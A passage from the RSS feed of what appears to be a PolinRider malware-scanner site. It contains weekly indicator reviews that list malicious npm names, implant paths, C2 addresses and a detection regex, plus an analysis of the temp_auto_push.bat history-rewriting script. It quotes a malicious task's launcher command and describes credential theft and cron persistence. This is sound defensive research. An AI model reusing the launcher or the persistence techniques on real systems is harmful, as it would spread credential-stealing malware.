      <link>https://polinriderscanner.com/indicator-reviews/2026-10-19/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-10-19/</guid>
      <pubDate>Mon, 19 Oct 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>Every analysis host but socket.dev is reachable again. The eight names rejected as substrings of live packages were re-checked under 2.1.0's whole-name rule and all added. Searching the OpenSSF database for last week's C2 found two more of the ULID dropper family, one still live on npm, and the agent renamed to pkg-agent. OpenSourceMalware found a GhostAction copycat reusing the fake-font launcher with no shared indicators: not added, but the existing fa-solid-400.woff2 entry already flags it</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>12 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td>the <code>ioc/2026-10-19</code> pull request</td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/bad-packages.txt</code>, <code>ioc/implant-paths.txt</code>, <code>ioc/filenames.txt</code></td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the seventh week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09: fourteen weeks. No CSV newer than the two July 10 files</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes, again. Some fetches timed out or were reset and succeeded on retry</td>
<td><code>/blog</code> served the full index. Every post dated 2026-10-05 to 2026-10-16 was read, because last week could not reach the blog at all and the window it missed falls inside this one. One post concerns PolinRider directly: the GhostAction copycat, 2026-10-16. See upstream state</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Searched the campaign name, <code>MicrosoftSystem64</code> and <code>ForceMemo</code>. Nothing new under <code>MicrosoftSystem64</code> or <code>ForceMemo</code>. ForceMemo is GlassWorm’s history-rewriting campaign (StepSecurity, March 2026), a separate actor, and nothing about it was new this week</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong>, 403</td>
<td>Sixth week in a row. <code>socket.dev/blog</code> is 403 too</td>
</tr>
<tr>
<td>OpenSSF <code>malicious-packages</code></td>
<td>yes, <code>git clone --depth 1</code> at commit <code>c075548ad9</code> (2026-10-19)</td>
<td>83 records match the campaign key. Two names were new to <code>ioc/</code>; see below</td>
</tr>
<tr>
<td>registry.npmjs.org</td>
<td>yes</td>
<td>Used to check every name below</td>
</tr>
</tbody>
</table>
<p><strong>The egress allowlist has widened again since last week.</strong> Every analysis host
that failed on 2026-10-12 answered this week:</p>
<table>
<thead>
<tr>
<th>Host</th>
<th>2026-10-12</th>
<th>This week</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>opensourcemalware.com</code></td>
<td>blocked</td>
<td><strong>reachable</strong>, with intermittent timeouts</td>
</tr>
<tr>
<td><code>safedep.io</code></td>
<td>blocked</td>
<td><strong>reachable</strong> (200)</td>
</tr>
<tr>
<td><code>blog.deception.pro</code></td>
<td>blocked</td>
<td><strong>reachable</strong> (200)</td>
</tr>
<tr>
<td><code>thehackernews.com</code></td>
<td>blocked</td>
<td><strong>reachable</strong> (200)</td>
</tr>
<tr>
<td><code>checkmarx.com</code></td>
<td>blocked</td>
<td><strong>reachable</strong> (200)</td>
</tr>
<tr>
<td><code>mallory.ai</code></td>
<td>blocked</td>
<td><strong>reachable</strong> (200)</td>
</tr>
<tr>
<td><code>socket.dev</code></td>
<td>403</td>
<td>403</td>
</tr>
<tr>
<td><code>medium.com</code></td>
<td>403</td>
<td>403</td>
</tr>
<tr>
<td><code>github.com</code>, <code>registry.npmjs.org</code>, <code>pypi.org</code></td>
<td>reachable</td>
<td>reachable</td>
</tr>
</tbody>
</table>
<p>This review reached every source on the list except socket.dev. That is a
stronger claim than last week’s.</p>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved in fourteen weeks. No primary analysis of a new
PolinRider wave was published between 2026-10-12 and 2026-10-19 that this
review could find. What was published:</p>
<ul>
<li><strong>OpenSourceMalware, “GhostAction Copycats PolinRider by Hiding a Stealer in
a Fake Font File”, 2026-10-16.</strong> A cluster of 94 repositories, 79 analysed,
received a second stage that is PolinRider’s launcher with a different
payload. The <code>.vscode/tasks.json</code> is a hidden <code>eslint-check</code> task with
<code>runOn: folderOpen</code> that runs <code>node ./public/fonts/fa-solid-400.woff2</code>, and
the “font” is 38 lines of plain JavaScript. It steals credential files and
SSH keys, posts them to <code>193.32.204.199:8080</code>, and installs a cron entry
tagged <code>#ghc2</code> that fetches and runs a script every five minutes. The source
is explicit: “There’s no shared IOCs between GhostAction and any other DPRK
malware we’ve seen, so at this time we’re labeling this a copycat rather than
an extension of PolinRider.” See considered and not added, and the note on
the existing <code>strong.txt</code> entry below.</li>
<li>The same post found one repository, <code>daxitzadafiya/bagisto-dhs</code>, carrying
both GhostAction and a genuine PolinRider infection: three Tailwind configs
with the TRON/Aptos/BSC loader appended after ~1,700 spaces, force-pushed on
2026-06-25 with <code>temp_auto_push.bat</code> added to <code>.gitignore</code>. The source says
its “blockchain addresses, keys and delimiter match the PolinRider indicators
we already track”. Nothing new to add from it.</li>
<li><strong>OpenSourceMalware, “How to Investigate a GitHub Repo’s Real History”,
2026-10-06.</strong> A forensics guide built on a PolinRider case,
<code>nestjsx/nest-access-control</code>, whose malicious commit is dated 2025-12-24 but
was force-pushed on 2026-09-08. No indicators; it describes the technique
this tool already handles.</li>
<li><strong>The OpenSourceMalware Show #24 (2026-10-09) and #25 (2026-10-15).</strong> #25
discusses GitHub’s new push-attribution preview (Enterprise only) as a way to
spot PolinRider rewrites. Neither episode carries indicators.</li>
<li><strong>Socket’s tracker</strong> is quoted by a search summary at “199 artifacts (123
unique packages)”, up from 196 and 121 last week. Read through a search
summary only.</li>
</ul>
<h3 id="the-openssf-search-keyed-on-last-weeks-c2">The OpenSSF search, keyed on last week’s C2</h3>
<p>The database was searched with the same key as 2026-10-12 plus
<code>95.216.232.162</code>, the <code>MicrosoftSystem64</code> C2 that week added to <code>network.txt</code>,
and <code>launchkeeper</code>. Of the 83 records it returned, 81 were already in
<code>bad-packages.txt</code>, in its hijacked-versions comments, or among the eight
reopened names. The two new ones both key on <code>95.216.232.162</code>, which is why
last week’s search could not have found them:</p>
<ul>
<li><strong><code>pino-ulid</code></strong> (MAL-2026-16154, published 2026-09-14). The same postinstall
dropper as <code>ulid-xyz</code>: the same 8-byte XOR key, the same C2 on port 8010, the
same <code>deploy_binary</code> command and the same <code>os.cpus()</code> sandbox check. But the
agent is renamed: its persistence is
<code>~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist</code>,
<code>~/.config/systemd/user/pkg-agent.service</code>,
<code>~/.config/autostart/pkg-agent.desktop</code> and a Run value and task named
<code>pkg-agent</code>. Fully unpublished on npm.</li>
<li><strong><code>redis-type-xyz</code></strong> (MAL-2026-11205, published 2026-06-17). An empty copy
of Redis OM whose only effect is to depend on <code>ulid-xyz</code>. <strong>It is still live
on npm</strong> (latest <code>2.1.1</code>, which depends on <code>ulid-xyz ^3.2.0</code>). All three
versions were published by one throwaway account, <code>qmtijao982</code>, within two
hours, and the name belongs to no legitimate package. The maintainer may want
to report it to npm.</li>
</ul>
<h3 id="the-eight-reopened-names">The eight reopened names</h3>
<p>The overview reopened eight names that earlier reviews rejected only because
they were substrings of live packages. Each was re-checked against its source
and against <code>registry.npmjs.org</code> on 2026-10-19:</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Source re-read</th>
<th>Registry today</th>
<th>Outcome</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>sass-format</code></td>
<td>ChainVeil table, OpenSourceMalware, July 2026: ChainVeil, 1.0.1, <code>successkeyteck</code></td>
<td><code>0.0.1-security</code></td>
<td>added</td>
</tr>
<tr>
<td><code>typeorm-encrypt</code></td>
<td>same table, 1.0.1, <code>successkeyteck</code></td>
<td><code>0.0.1-security</code></td>
<td>added</td>
</tr>
<tr>
<td><code>clsx-tailwind</code></td>
<td>same table, 1.0.1, <code>successkeyteck</code></td>
<td><code>0.0.1-security</code></td>
<td>added</td>
</tr>
<tr>
<td><code>tailwind-anim</code></td>
<td>MAL-2026-11500: <code>eval(atob(...))</code> loader, <code>0xa322</code> wallet, <code>/0x/cls</code></td>
<td><code>0.0.1-security</code></td>
<td>added</td>
</tr>
<tr>
<td><code>tailwindcss-anim</code></td>
<td>MAL-2026-11487: same loader after a run of tabs</td>
<td><code>0.0.1-security</code></td>
<td>added</td>
</tr>
<tr>
<td><code>tailwind-container-queries</code></td>
<td>MAL-2026-15903: same loader in <code>dist/index.js</code></td>
<td>fully unpublished</td>
<td>added</td>
</tr>
<tr>
<td><code>webdev-conf</code></td>
<td>MAL-2026-12005: <code>pkg-conf</code> typosquat by a “Sinde Sorus” homoglyph, same loader</td>
<td>fully unpublished</td>
<td>added</td>
</tr>
<tr>
<td><code>tailwindcss-form</code></td>
<td>MAL-2026-16282: obfuscator.io bundle, <code>0xa322</code> wallet, <code>x-payload-*</code> headers. Updated 2026-10-15 with a GHSA alias</td>
<td><code>0.0.1-security</code> (placeholder published 2026-10-15)</td>
<td>added</td>
</tr>
</tbody>
</table>
<p>All eight are attacker-owned and none is the name of a live legitimate package,
so under the rule since 2.1.0 each goes in <code>bad-packages.txt</code>. Proved against
the release binary: a manifest naming the longer live packages
(<code>sass-formatter</code>, <code>typeorm-encrypted</code>, <code>clsx-tailwind-merge</code>,
<code>tailwind-animate</code>, <code>tailwindcss-animate</code>, <code>tailwind-container-queries-2d</code>,
<code>tailwindcss-forms</code>, <code>@webdev-config/eslint</code>) exits 0, and one naming the
campaign names exits 2.</p>
<h2 id="added">Added</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>sass-format</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned ChainVeil name, reopened. See considered and not added for why not <code>weak.txt</code></td>
<td><a href="https://opensourcemalware.com/blog/chainveil-and-vitevenom-dprk-polinrider-campaign">OpenSourceMalware, ChainVeil and ViteVenom</a></td>
</tr>
<tr>
<td><code>typeorm-encrypt</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned ChainVeil name, reopened</td>
<td><a href="https://opensourcemalware.com/blog/chainveil-and-vitevenom-dprk-polinrider-campaign">OpenSourceMalware, ChainVeil and ViteVenom</a></td>
</tr>
<tr>
<td><code>clsx-tailwind</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned ChainVeil name, reopened</td>
<td><a href="https://opensourcemalware.com/blog/chainveil-and-vitevenom-dprk-polinrider-campaign">OpenSourceMalware, ChainVeil and ViteVenom</a></td>
</tr>
<tr>
<td><code>tailwind-anim</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned, <code>0xa322</code> dead-drop loader, reopened</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tailwind-anim/MAL-2026-11500.json">MAL-2026-11500</a></td>
</tr>
<tr>
<td><code>tailwindcss-anim</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tailwindcss-anim/MAL-2026-11487.json">MAL-2026-11487</a></td>
</tr>
<tr>
<td><code>tailwind-container-queries</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tailwind-container-queries/MAL-2026-15903.json">MAL-2026-15903</a></td>
</tr>
<tr>
<td><code>webdev-conf</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/webdev-conf/MAL-2026-12005.json">MAL-2026-12005</a></td>
</tr>
<tr>
<td><code>tailwindcss-form</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tailwindcss-form/MAL-2026-16282.json">MAL-2026-16282</a></td>
</tr>
<tr>
<td><code>pino-ulid</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned, the <code>ulid-xyz</code> dropper under a new agent name, C2 <code>95.216.232.162</code></td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/pino-ulid/MAL-2026-16154.json">MAL-2026-16154</a></td>
</tr>
<tr>
<td><code>redis-type-xyz</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned delivery package for <code>ulid-xyz</code>, still live</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/redis-type-xyz/MAL-2026-11205.json">MAL-2026-11205</a></td>
</tr>
<tr>
<td><code>~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist</code></td>
<td><code>implant-paths.txt</code></td>
<td>The renamed agent’s macOS persistence. <code>com.launchkeeper</code> is the campaign’s own prefix</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/pino-ulid/MAL-2026-16154.json">MAL-2026-16154</a></td>
</tr>
<tr>
<td><code>(^|/)com\.launchkeeper\.pkg-agent\.plist$</code></td>
<td><code>filenames.txt</code></td>
<td>The same file found by name anywhere a scan walks, like the <code>MicrosoftSystem64</code> plist beside it</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/pino-ulid/MAL-2026-16154.json">MAL-2026-16154</a></td>
</tr>
</tbody>
</table>
<p>The two comment blocks in <code>bad-packages.txt</code> that recorded the substring
rejections are reworded to say the names were left out <em>until</em> this review,
with the original reasoning kept.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong><code>sass-format</code> in <code>weak.txt</code>.</strong> Weighed first, because it is also a
conceivable task or script label, and a <code>tasks.json</code> is matched as content, so a
task labelled <code>sass-format</code> would read as a confirmed hit. Rejected because
<code>weak.txt</code> is a substring match: <code>ci/scan-workspace.sh</code> put a review line on a
fixture whose only content was a manifest naming <code>sass-formatter</code>, which has
about 750,000 downloads a week. That is certain noise against a speculative
false positive, and it is the noise whole-name matching was built to remove.
The residual risk is recorded here for the maintainer to overrule.</p>
<p><strong><code>~/.config/systemd/user/pkg-agent.service</code>,
<code>~/.config/autostart/pkg-agent.desktop</code>, and the <code>pkg-agent</code> Run value and
scheduled task.</strong> From the same <code>pino-ulid</code> record. <code>pkg-agent</code> is a name a
legitimate tool could use, and <code>implant-paths.txt</code> is INFECTED tier with no
weaker path tier. The LaunchAgent is carried because of its <code>com.launchkeeper</code>
prefix; these two have nothing equivalent. The Run value and task are host
state, not an indicator line.</p>
<p><strong><code>pkg-agent</code> in <code>implant-names.txt</code>.</strong> The agent runs as <code>node payload.js</code>,
not as a binary called <code>pkg-agent</code>, and the name is generic. See techniques.</p>
<p><strong>The <code>pino-ulid</code> payload hash, <code>3a9089e9…0a7c6a50</code>.</strong> <code>dist/node/payload.js</code>,
about 456 KB. <code>hashes.txt</code> only fires on files between 10 MB and 300 MB or on an
<code>implant-paths.txt</code> path, so it would never be compared: the small-file hash gap,
carried below.</p>
<p><strong>Everything from GhostAction</strong>: <code>193.32.204.199</code>, the <code>#ghc2</code> crontab marker,
the <code>eslint-check</code> task label, the <code>DEVBOX</code> report header, the seven
second-stage workflow names, the four file hashes and the <code>Ov23ctrqCqZ79UaYKwyq</code>
OAuth client ID. The source labels it a copycat with no shared indicators.
<code>ioc/</code> is PolinRider’s set, and <code>network.txt</code> is described to users as campaign
infrastructure and an egress block list. Whether this tool should also carry a
copycat that borrows the launcher is a maintainer decision; see notes.</p>
<p><strong><code>nestjsx/nest-access-control</code> and <code>daxitzadafiya/bagisto-dhs</code>.</strong> Victim
repositories, not indicators.</p>
<p><strong>The July 2026 Socket package list.</strong> <code>thehackernews.com</code> is reachable again,
so its July article on the 108 packages was read in full. It gives counts by
ecosystem (19 npm, 10 Composer, 61 Go, one Chrome extension) and no names. The
list is still only on socket.dev.</p>
<p><strong>The other 81 OpenSSF records.</strong> Already in <code>ioc/</code> or in its comments.</p>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward for the sixth week.
Every secondary source is reachable again this week and none carries the list;
socket.dev is the only place it is published, and it is 403. The tracker now
reportedly counts 123 unique packages against 108 in July.</p>
<p><strong>The eight substring rejections.</strong> <strong>Closed</strong> by this review; see above.</p>
<p><strong><code>weak.txt</code> has no effect on the local check.</strong> Unchanged from 2026-10-12.
Re-confirmed: <code>polinrider check --fs-only</code> on a manifest naming <code>hex-type</code> exits
0, and <code>ci/scan-workspace.sh</code> on the same folder exits 1 with one review line.</p>
<p><strong>The <code>\u</code>-escape problem.</strong> The overview and ADR-0040 say 2.1.0 decodes
<code>\uXXXX</code>, <code>\u{...}</code> and <code>\xNN</code> before matching, so this gap looks closed by the
release rather than by a review. Not re-tested this week; the next review
should confirm it against a sample and close it in writing.</p>
<p><strong>The npm CLI persistence, small-file hashes, the blob-ID tier, the weak path
tier, the regex content tier, the font-vector <code>.woff2</code> forms, Python-side
coverage.</strong> Carried forward unchanged. The small-file hash gap turned away one
more published hash this week.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<ol>
<li><strong>The <code>MicrosoftSystem64</code> agent is being renamed.</strong> <code>pino-ulid</code> installs the
same agent as <code>ulid-xyz</code>, with the same key and C2, as <code>pkg-agent</code>. Every
per-OS path in <code>implant-paths.txt</code> and every name in <code>implant-names.txt</code> is
keyed on <code>MicrosoftSystem64</code>, so the only thing that catches this build on a
machine is the one LaunchAgent added today, on macOS. A check keyed on the
<code>com.launchkeeper.</code> prefix in <code>~/Library/LaunchAgents</code>, rather than on full
file names, would survive the next rename. On Linux and Windows nothing
catches it yet. This reinforces item 2 of 2026-10-12: a check for a running
<code>node</code> whose script sits under a known agent directory.</li>
<li><strong>A crontab check.</strong> The GhostAction copycat persists as a crontab line
that pipes a fetched script into <code>bash</code>, tagged <code>#ghc2</code>. Nothing here reads
the user’s crontab. If the maintainer decides copycats are in scope, a check
that flags a crontab line piping <code>curl</code> or <code>wget</code> into a shell would catch
this and the next copycat with a different tag.</li>
</ol>
<h2 id="notes">Notes</h2>
<ul>
<li><strong>This tool already reports the GhostAction copycat as INFECTED</strong>, through
the existing <code>strong.txt</code> entry <code>node ./public/fonts/fa-solid-400.woff2</code>,
which its byte-identical <code>tasks.json</code> carries. That verdict is correct: the
repository is infected. But the guidance that follows a finding is written
for PolinRider, and for this payload it misses the one thing that keeps
running after cleanup, the <code>#ghc2</code> crontab line. The maintainer may want the
documentation to mention it, or to decide whether GhostAction’s indicators
belong in <code>ioc/</code>.</li>
<li><code>cargo fmt --check</code>, <code>cargo clippy -D warnings</code>, <code>cargo test</code> (208 passed),
<code>conformance/run.sh</code> (109 passed) and <code>ci/selftest.sh</code> all pass on this
branch. <code>polinrider --version</code> reports 43 strong, 104 packages, 33 network, 7
implant names, 25 weak.</li>
<li>Fixtures, all outside the working tree, run with the release binary: two
manifests naming the ten new package names exit 2; a folder holding
<code>LaunchAgents/com.launchkeeper.pkg-agent.plist</code> exits 2; the near-miss folder
(the eight longer live packages above plus <code>pino</code>, <code>ulid</code>, <code>redis-om</code>, a
<code>com.example.pkg-agent.plist</code>, a <code>pkg-agent.service</code> and a stylesheet
mentioning <code>sass-formatter</code>) exits 0 under both the binary and
<code>ci/scan-workspace.sh</code>. No <code>weak.txt</code> entry was added, so the weak tier was
proved on the existing <code>hex-type</code> entry through <code>ci/scan-workspace.sh</code> (exit
1), for the reason in open gaps.</li>
<li>No page, repository or record read during this review attempted to give the
reviewer instructions.</li>
<li>The OpenSSF clone was deleted after the search.</li>
<li>The commits on this branch are signed with the maintainer’s key from inside
the session, per the routine’s 2026-10-19 change.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Found temp_auto_push.bat in your repository?</title>
      <link>https://polinriderscanner.com/analysis/temp-auto-push-bat-polinrider/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/analysis/temp-auto-push-bat-polinrider/</guid>
      <pubDate>Sun, 18 Oct 2026 00:00:00 GMT</pubDate>
      <category>Analysis</category>
      <description>temp_auto_push.bat is the script PolinRider uses to rewrite your commits and push them. What it does, why git log hides it and which computer to check first.</description>
      <content:encoded><![CDATA[<p><code>temp_auto_push.bat</code> is the script PolinRider uses to push its payload into
repositories. If you have found it in a repository or listed in a
<code>.gitignore</code> nobody on your team wrote, a computer that pushes to that
repository has very likely been infected. Check that computer before you touch
the repository. Cleaning the repository first does not last, because the
same computer will push the payload straight back.</p>
<h2 id="what-the-script-does">What the script does</h2>
<p><a href="https://opensourcemalware.com/blog/polinrider-dprk-compromised-hundreds-of-github-repos">OpenSourceMalware</a> published the script in full in its first
report on the campaign, in March 2026. It is a Windows batch file, and run
inside a Git repository it does something careful. It reads the current
branch and the last commit’s date, time, message and author. It sets the
Windows clock back to that commit’s date and time, and sets the repository’s
Git name and email to that commit’s author. It stages every change in the
folder and amends the last commit with the same message, skipping any commit
hooks. Then it puts the clock right and force-pushes the branch to <code>origin</code>,
again skipping hooks.</p>
<p>By the time it runs, another part of the malware has already appended its
loader to a config file such as <code>postcss.config.mjs</code>, <code>tailwind.config.js</code> or
<code>eslint.config.mjs</code>. The script folds that change into a commit that already
existed and pushes it over the original.</p>
<h2 id="why-your-history-still-looks-clean">Why your history still looks clean</h2>
<p>Because the clock was wound back, Git records the amended commit with the old
date. The author, the message and the branch are all unchanged. Reading
<code>git log</code>, the commit looks as if nobody touched it.</p>
<p>Two things do change. The commit gets a new ID, since a commit’s hash covers
everything in it, but that only helps if you still have a copy from before.
The more useful one is GitHub’s record of the push itself. As OpenSourceMalware
showed in its October guide to investigating a repository’s real history, the
activity feed lists every push and force-push with the account that made it
and GitHub’s own time. None of that comes from the commit, so a changed clock
or a changed Git name cannot forge it. Our page on
<a href="https://polinriderscanner.com/what-is-polinrider/#why-your-git-history-looks-clean">why your Git history looks clean</a>
shows where to find it.</p>
<h2 id="in-the-repository-or-only-in-gitignore">In the repository, or only in .gitignore</h2>
<p>You can meet the name in two ways. The first is the file itself, committed.
OpenSourceMalware uses the name to find victims: a GitHub code search for it in
April found 101 repositories, 22 of which also carried a malicious
<code>.vscode/tasks.json</code>.</p>
<p>The second is quieter. In September OpenSourceMalware reported that infected
computers add this block to <code>.gitignore</code>:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="text"><code><span class="line"><span>config.bat</span></span>
<span class="line"><span>temp_auto_push.bat</span></span>
<span class="line"><span>temp_interactive_push.bat</span></span>
<span class="line"><span>branch_structure.json</span></span></code></pre>
<p>These are the push tool’s working files on the developer’s own computer, and
the entries keep them out of <code>git status</code> so nobody notices them. The team
found the block in every infected organization it examined. Where it appears,
at least one contributor’s computer is infected, even if no payload has
reached that repository yet. One repository traced in October shows how it
looks in practice: its history dated a commit April 2025, but a force-push in
June 2026 had replaced it with a rewritten copy that added the script to
<code>.gitignore</code>.</p>
<h2 id="not-only-a-windows-problem">Not only a Windows problem</h2>
<p>The script found so far is a batch file, and changing the Windows clock needs
administrator rights. OpenSourceMalware has also reported evidence of the same
history rewriting on other operating systems, though no tool was left behind
there. Not finding the <code>.bat</code> file on a Mac or a Linux machine does not clear
it.</p>
<h2 id="how-it-spreads-between-people">How it spreads between people</h2>
<p>The script runs on the infected computer with the credentials already stored
there, and it runs again whenever its trigger fires: a scheduled task, a
background process or someone opening an infected project again. A teammate
who opens one of the rewritten repositories in VS Code and trusts the folder
is infected in turn, and their computer starts doing the same. VS Code’s
Workspace Trust prompt is the main thing standing in the way.</p>
<p>If you publish a Go module or a Composer package straight from the repository,
the rewritten commit is the release. OpenSourceMalware has reported
compromised Go modules spread this way.</p>
<h2 id="what-to-do">What to do</h2>
<p>Do not open the repository in an editor, and do not install or build it,
until it has been checked. If VS Code asks whether to trust the folder, say
no.</p>
<p>Then find the computer. In the repository’s activity feed, look for the
force-pushes and the account that made each one. The feed records whose
credentials pushed, not who was at the keyboard, so treat that account’s owner as a probable victim. If the name only appears in
<code>.gitignore</code>, every contributor’s computer is a candidate.</p>
<p>Check that computer before anything on GitHub. Look for <code>temp_auto_push.bat</code>
and <code>config.bat</code> anywhere on its disk, then check the rest of it. polinrider reports <code>temp_auto_push.bat</code> and
<code>temp_interactive_push.bat</code> as confirmed wherever it finds them. On GitHub it
flags a <code>.gitignore</code> that lists them for review instead, because that points
at a contributor’s computer rather than a payload in the repository. Once the
computer is clean, change every credential from a clean machine, then clean
the repositories and start signing your commits. The
<a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a> has each step.</p>
<h2 id="sources">Sources</h2>
<ul>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-dprk-compromised-hundreds-of-github-repos">Hundreds of GitHub Repos Compromised By DPRK’s PolinRider Campaign</a>, 8 March 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-rides-again-north-korean-attack-expands-across-github">PolinRider DPRK Attack Expands Across GitHub</a>, 12 April 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-jumps-the-fence">PolinRider Jumps the Fence to Go, Packagist, npm, PyPI</a>, 8 July 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-caused-dozens-of-npm-and-go-compromises">PolinRider Caused Dozens of npm, Go, PHP Compromises</a>, 31 July 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/developer-guide-getting-over-polinrider">A Developer’s Guide to Getting Rid of PolinRider</a>, August 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-is-a-b-testing-its-way-past-your-detections">PolinRider is A/B Testing its Way Past Your Detections</a>, 26 September 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/how-to-investigate-a-github-repos-real-history">How to Investigate a GitHub Repo’s Real History</a>, 6 October 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file">GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File</a>, October 2026</li>
<li>Our <a href="https://polinriderscanner.com/indicator-reviews/2026-09-28/">indicator review of 28 September</a>, on where these names sit in the scanner</li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 12 October 2026: 12 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-10-12/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-10-12/</guid>
      <pubDate>Mon, 12 Oct 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>The sandbox lost every analysis host except GitHub and the registries, so this is a weaker review than the last three. A wider search of the OpenSSF database found ten April–July package names the previous search shape missed: two named as PolinRider, eight installing the MicrosoftSystem64 second stage. Nine to bad-packages.txt, one to weak.txt, plus a C2 address and the implant's .vbs launcher. Also found that the local check has never read weak.txt</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>12 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td><a href="https://github.com/meSingh/polinrider-cleaner/pull/39">#39</a></td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/bad-packages.txt</code>, <code>ioc/weak.txt</code>, <code>ioc/network.txt</code>, <code>ioc/filenames.txt</code></td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the sixth week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09 — thirteen weeks. No CSV newer than the two July 10 files</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td><strong>no</strong> — proxy 403 on <code>CONNECT</code></td>
<td>Reachable every week since 2026-09-14. Not reachable this week. Nothing in this entry comes from it, and a post published inside the window would not have been seen</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Searched the campaign name, <code>MicrosoftSystem64</code> and <code>ForceMemo</code>. Only secondary coverage inside the window; see upstream state</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong> — proxy 403</td>
<td>Fifth week in a row</td>
</tr>
</tbody>
</table>
<p><strong>The egress allowlist has narrowed sharply since last week.</strong> Every analysis
host that served content on 2026-10-05 now fails at the proxy with a <code>CONNECT</code>
403 from <code>curl</code>, and with a DNS failure from the web-fetch tool:</p>
<table>
<thead>
<tr>
<th>Host</th>
<th>2026-10-05</th>
<th>This week</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>opensourcemalware.com</code></td>
<td>reachable</td>
<td><strong>blocked</strong></td>
</tr>
<tr>
<td><code>safedep.io</code></td>
<td>reachable</td>
<td><strong>blocked</strong></td>
</tr>
<tr>
<td><code>blog.deception.pro</code></td>
<td>reachable</td>
<td><strong>blocked</strong></td>
</tr>
<tr>
<td><code>thehackernews.com</code></td>
<td>reachable</td>
<td><strong>blocked</strong></td>
</tr>
<tr>
<td><code>checkmarx.com</code></td>
<td>reachable</td>
<td><strong>blocked</strong></td>
